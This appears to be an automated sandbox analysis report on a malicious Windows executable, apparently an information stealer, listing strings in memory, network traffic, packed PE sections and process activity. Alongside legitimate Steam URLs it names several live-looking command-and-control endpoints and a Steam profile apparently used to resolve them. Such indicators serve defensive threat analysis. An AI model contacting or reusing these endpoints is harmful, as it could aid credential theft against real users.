Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/api
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=2Ih2WOq7ErXY&a
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=bz0kMfQA
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=hgPi
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=jGtzAgjYROne&l=e
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eaglepawnoy.store:443/api
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/apiq
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: file.exe, 00000000.00000002.2059024144.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/api
Source: file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apifiles/76561199724331900
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/api
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059024144.0000000001569000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f
Source: file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api
Source: file.exe, 00000000.00000002.2059024144.0000000001547000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801841319.00000000015DD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801780211.00000000015DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: file.exe, 00000000.00000003.1801841319.00000000015DD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801780211.00000000015DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49732 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00990228	0_2_00990228
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009BE8A0	0_2_009BE8A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CA0D0	0_2_009CA0D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00992030	0_2_00992030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098E1A0	0_2_0098E1A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00985160	0_2_00985160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009C4A40	0_2_009C4A40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098A300	0_2_0098A300
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099049B	0_2_0099049B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00994487	0_2_00994487
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00987CA4	0_2_00987CA4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009ACCD0	0_2_009ACCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AC470	0_2_009AC470
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009835B0	0_2_009835B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C5F0	0_2_0099C5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AFD10	0_2_009AFD10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00996EBF	0_2_00996EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098BEB0	0_2_0098BEB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098AF10	0_2_0098AF10

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 0099D300 appears 47 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 1900

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9995874587458746

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.evad.winEXE@4/9@10/2

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2336

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\4fd15ef2-8662-4efa-952c-727ac2b4c78b

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: sRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNePQ

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 1900
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 1916
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 1952

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
